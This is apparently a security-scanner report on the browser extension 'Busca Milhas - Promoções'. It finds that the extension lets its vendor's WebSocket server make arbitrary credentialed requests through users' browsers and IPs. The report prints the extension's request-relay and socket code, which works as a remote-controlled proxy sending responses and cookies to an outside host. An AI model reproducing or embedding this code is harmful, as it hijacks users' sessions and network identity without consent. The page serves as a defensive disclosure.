Is Busca Milhas - Promoções safe?
Busca Milhas keeps a WebSocket open to its server and makes HTTP requests from your browser on the server's command.
The extension connects to the vendor's server and runs whatever web requests it is told to, using your IP address and cookies, then sends the responses (including Set-Cookie headers) back. It also opens a hidden LATAM Airlines page to generate captcha tokens on request, and registers your public IP, city, region and user agent with the vendor on every connection.
Who publishes itIN8 Serviços On-line LTDA - no other listings under this identity, 2 shared hostnames
IN8 Serviços On-line LTDA - no other listings under this identity, 2 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension runs server-specified web requests from your browser over a WebSocket
Code analysis shows the extension holds a WebSocket to buscamilhas.com and fetches any URL the server names, with your cookies, then returns the response to the server.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
The server sends a JSON request description over the open WebSocket.
Fields: Url, Method, Headers, Body.
The extension fetches that URL from your browser and IP with credentials, then replies with the result.
Nothing in the code restricts which URL is requested.
- Request URLhttps://www.latamairlines.com/
The server picks any address for your browser to contact.
- Method and bodyPOST
The server picks the HTTP method and payload.
- Cookie headera=b
Server-supplied cookies are written into your browser for the target site.
- Your IP addressYour home or office IP
The request leaves from your network connection.
- Response returned
The status, page body and response headers go back to the server.
Request handler and socket loop in background.js
handleRequest: clears target cookies, applies server cookies, fetches with credentials, returns status/body/headers
scripts/background.jsconst handleRequest = async (requestData) => { const requestID = generateUUID() const urlObject = new URL(requestData.Url) await cleanCookies(urlObject.origin) let body = requestData.Body if ( requestData.Method.toLowerCase() === 'post' && requestData.Headers.hasOwnProperty('content-type') && requestData.Headers['content-type'] === 'application/x-protobuffer' ) { const uint8Array = new Uint8Array(requestData.Body.length) for (let i = 0; i < requestData.Body.length; i++) { uint8Array[i] = requestData.Body.charCodeAt(i) } body = uint8Array } const requestOptions = { mode: 'cors', credentials: 'include', method: requestData.Method, body: body, headers: { ...requestData.Headers, 'x-req-id': requestID } } try { const requestCookies = requestData.hasOwnProperty('Headers') ? requestData.Headers['cookie'] : null if (requestCookies) { setCookiesOnHeader(requestCookies, urlObject.hostname) } const response = await fetch(requestData.Url, requestOptions) const requestResponse = await response.text() const headers = await getResponseHeaders(requestID) relationship.delete(requestID) const requestResponseData = { status: response.status, data: requestResponse, headers } if (frontSocket && frontSocket.readyState === WebSocket.OPEN) { frontSocket.send(JSON.stringify(requestResponseData)) } } catch (error) { relationship.delete(requestID) if (frontSocket && frontSocket.readyState === WebSocket.OPEN) { frontSocket.send(JSON.stringify(error)) } console.error('Error on handleRequest', error) }}connectFrontRequestor: connects to WS_URL, sends channel, passes every message to handleRequest
scripts/background.jsfunction connectFrontRequestor() { if ( frontSocket && (frontSocket.readyState === WebSocket.OPEN || frontSocket.readyState === WebSocket.CONNECTING) ) { return } if (reconnectTimer) { clearTimeout(reconnectTimer) reconnectTimer = null } const socket = new WebSocket(WS_URL) frontSocket = socket socket.onopen = () => { console.log(`Front Requestor connecting to Socket on websocketChannel "${WS_CHANNEL}"`) socket.send(JSON.stringify({ channel: WS_CHANNEL })) } socket.onclose = (event) => { if (frontSocket === socket) { frontSocket = null } if (event.wasClean) { console.log('Front Requestor Websocket was disconnected with success') return } console.warn( `Front Requestor Websocket disconnected (code=${event.code} reason="${event.reason || '-'}"), reconnecting in ${RECONNECT_DELAY_MS / 1000}s` ) if (!reconnectTimer) { reconnectTimer = setTimeout(() => { reconnectTimer = null connectFrontRequestor() }, RECONNECT_DELAY_MS) } } socket.onmessage = (event) => { try { const eventData = JSON.parse(event.data) handleRequest(eventData) } catch (e) { console.error('Invalid WS message', e) } } socket.onerror = (event) => { console.error('An error has ocurred on Front Requestor Socket', event) }}connectFrontRequestor()- wsrequestor-socket.buscamilhas.com
WebSocket server that receives the channel frame, sends request jobs and receives responses.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed busca-milhas-promo%C3%A7%C3%B5es contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ws-latam-extension.buscamilhas.cloud
busca-milhas-promo%C3%A7%C3%B5es sends data to ws-latam-extension.buscamilhas.cloud. No other extension we have analysed sends data here.
- wsrequestor-socket.buscamilhas.com
busca-milhas-promo%C3%A7%C3%B5es sends data to wsrequestor-socket.buscamilhas.com. No other extension we have analysed sends data here.